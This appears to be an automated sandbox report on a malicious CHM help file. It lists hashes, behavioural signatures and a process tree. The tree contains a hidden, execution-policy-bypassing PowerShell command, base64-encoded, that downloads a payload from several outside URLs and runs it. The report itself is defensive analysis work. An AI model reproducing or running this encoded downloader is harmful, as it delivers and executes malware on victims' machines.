Analysis
-
max time kernel
145s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
21/04/2023, 14:11
Static task
static1
Behavioral task
behavioral1
Sample
README-pZS6503.chm
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
README-pZS6503.chm
Resource
win10v2004-20230220-en
General
-
Target
README-pZS6503.chm
-
Size
14KB
-
MD5
ca6ad5ab3957aa103dd2cfd3168cc71b
-
SHA1
342d359f3a1600083b4f73f9c1c773622caa3857
-
SHA256
2733e6c3a7b6209f42f7f0cd9d56abafdc34f331d2ccbb5e4916a7ac4b16ac32
-
SHA512
ebc284d1f58a359d134a6342b6d07dacdb6e30453d7708ee7aa963b39219cfd1ce073aa68ba206572418ce42c2b4d995c82c771f1f4c1674c937f7a774f3dad3
-
SSDEEP
96:MV/veDPCotsVtkTwy/v0TKjmfC06fIhQK3od5o0TZ386X1pYw5aajiG:Mh7tkTwy/vB6KhIhQK3odpR86lS6j5
Malware Config
Signatures
-
Blocklisted process makes network request 8 IoCs
flow pid Process 15 2604 powershell.exe 18 2604 powershell.exe 23 2604 powershell.exe 29 2604 powershell.exe 32 2604 powershell.exe 35 2604 powershell.exe 38 2604 powershell.exe 43 2604 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2604 powershell.exe 2604 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2604 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 5052 hh.exe 5052 hh.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 5052 wrote to memory of 4500 5052 hh.exe 86 PID 5052 wrote to memory of 4500 5052 hh.exe 86 PID 4500 wrote to memory of 2604 4500 cmd.exe 87 PID 4500 wrote to memory of 2604 4500 cmd.exe 87
Processes
-
C:\Windows\hh.exe"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\README-pZS6503.chm1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5052 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAdwBlAGwAZgBhAHIAaQBzAG0AIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBoAG8AdABlAGwAbABvAHMAbQBpAHIAdABvAHMALgBjAG8AbQAvAHMAagBuAC8ANwB0AHcATABFADUAbwBEAG0AMwA3ACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAGIAMgBmAGYAUwBJAG8AMgBNAEUALABoAHQAdABwAHMAOgAvAC8AYwBpAHQAeQB0AGUAYwBoAC0AcwBvAGwAdQB0AGkAbwBuAHMALgBjAG8AbQAvADYATQBoADEAawAvAEEANwBxADEAYwBPAGsAVAAwAHgASQAsAGgAdAB0AHAAcwA6AC8ALwBlAHIAZwAtAGUAZwAuAGMAbwBtAC8AbwBjAG0AYgAvAFgANQBFAGUAegBiAEwAOABZAFAALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBkAFoATgBDAE0AeABxAGQAVABWAHMAWAAsAGgAdAB0AHAAcwA6AC8ALwBtAHIAYwByAGkAegBxAHUAbgBhAC4AYwBvAG0ALwBMADcAYwBjAE4ALwBiAHEAaQBmAFYAbAA1AFoAWABsADEASQAsAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAEgAZwBFAEcAUgBEAEQAUwA2AGEAOAAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBnAG0AYwBBAEEAaQBoAGYAVwByAGcAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAdAByAGEAZABpAHQAaQBvAG4AaQBzAG0AIABpAG4AIAAkAHcAZQBsAGYAYQByAGkAcwBtACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJAB0AHIAYQBkAGkAdABpAG8AbgBpAHMAbQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgBhAGwAbABvAG4AZQAuAEIAbwB1AGMAaABlAGUASQBuAGQAbwBnAGUAbgBpAGQAZQA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGIAYQBsAGwAbwBuAGUALgBCAG8AdQBjAGgAZQBlAEkAbgBkAG8AZwBlAG4AaQBkAGUAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ATgBvAEwAbwBnAG8AIAAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAaQBBAEcARQBBAGIAQQBCAHMAQQBHADgAQQBiAGcAQgBsAEEAQwA0AEEAUQBnAEIAdgBBAEgAVQBBAFkAdwBCAG8AQQBHAFUAQQBaAFEAQgBKAEEARwA0AEEAWgBBAEIAdgBBAEcAYwBBAFoAUQBCAHUAQQBHAGsAQQBaAEEAQgBsAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA=2⤵
- Suspicious use of WriteProcessMemory
PID:4500 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAdwBlAGwAZgBhAHIAaQBzAG0AIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBoAG8AdABlAGwAbABvAHMAbQBpAHIAdABvAHMALgBjAG8AbQAvAHMAagBuAC8ANwB0AHcATABFADUAbwBEAG0AMwA3ACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAGIAMgBmAGYAUwBJAG8AMgBNAEUALABoAHQAdABwAHMAOgAvAC8AYwBpAHQAeQB0AGUAYwBoAC0AcwBvAGwAdQB0AGkAbwBuAHMALgBjAG8AbQAvADYATQBoADEAawAvAEEANwBxADEAYwBPAGsAVAAwAHgASQAsAGgAdAB0AHAAcwA6AC8ALwBlAHIAZwAtAGUAZwAuAGMAbwBtAC8AbwBjAG0AYgAvAFgANQBFAGUAegBiAEwAOABZAFAALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBkAFoATgBDAE0AeABxAGQAVABWAHMAWAAsAGgAdAB0AHAAcwA6AC8ALwBtAHIAYwByAGkAegBxAHUAbgBhAC4AYwBvAG0ALwBMADcAYwBjAE4ALwBiAHEAaQBmAFYAbAA1AFoAWABsADEASQAsAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAEgAZwBFAEcAUgBEAEQAUwA2AGEAOAAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBnAG0AYwBBAEEAaQBoAGYAVwByAGcAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAdAByAGEAZABpAHQAaQBvAG4AaQBzAG0AIABpAG4AIAAkAHcAZQBsAGYAYQByAGkAcwBtACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJAB0AHIAYQBkAGkAdABpAG8AbgBpAHMAbQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgBhAGwAbABvAG4AZQAuAEIAbwB1AGMAaABlAGUASQBuAGQAbwBnAGUAbgBpAGQAZQA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGIAYQBsAGwAbwBuAGUALgBCAG8AdQBjAGgAZQBlAEkAbgBkAG8AZwBlAG4AaQBkAGUAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ATgBvAEwAbwBnAG8AIAAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAaQBBAEcARQBBAGIAQQBCAHMAQQBHADgAQQBiAGcAQgBsAEEAQwA0AEEAUQBnAEIAdgBBAEgAVQBBAFkAdwBCAG8AQQBHAFUAQQBaAFEAQgBKAEEARwA0AEEAWgBBAEIAdgBBAEcAYwBBAFoAUQBCAHUAQQBHAGsAQQBaAEEAQgBsAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA=3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2604
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82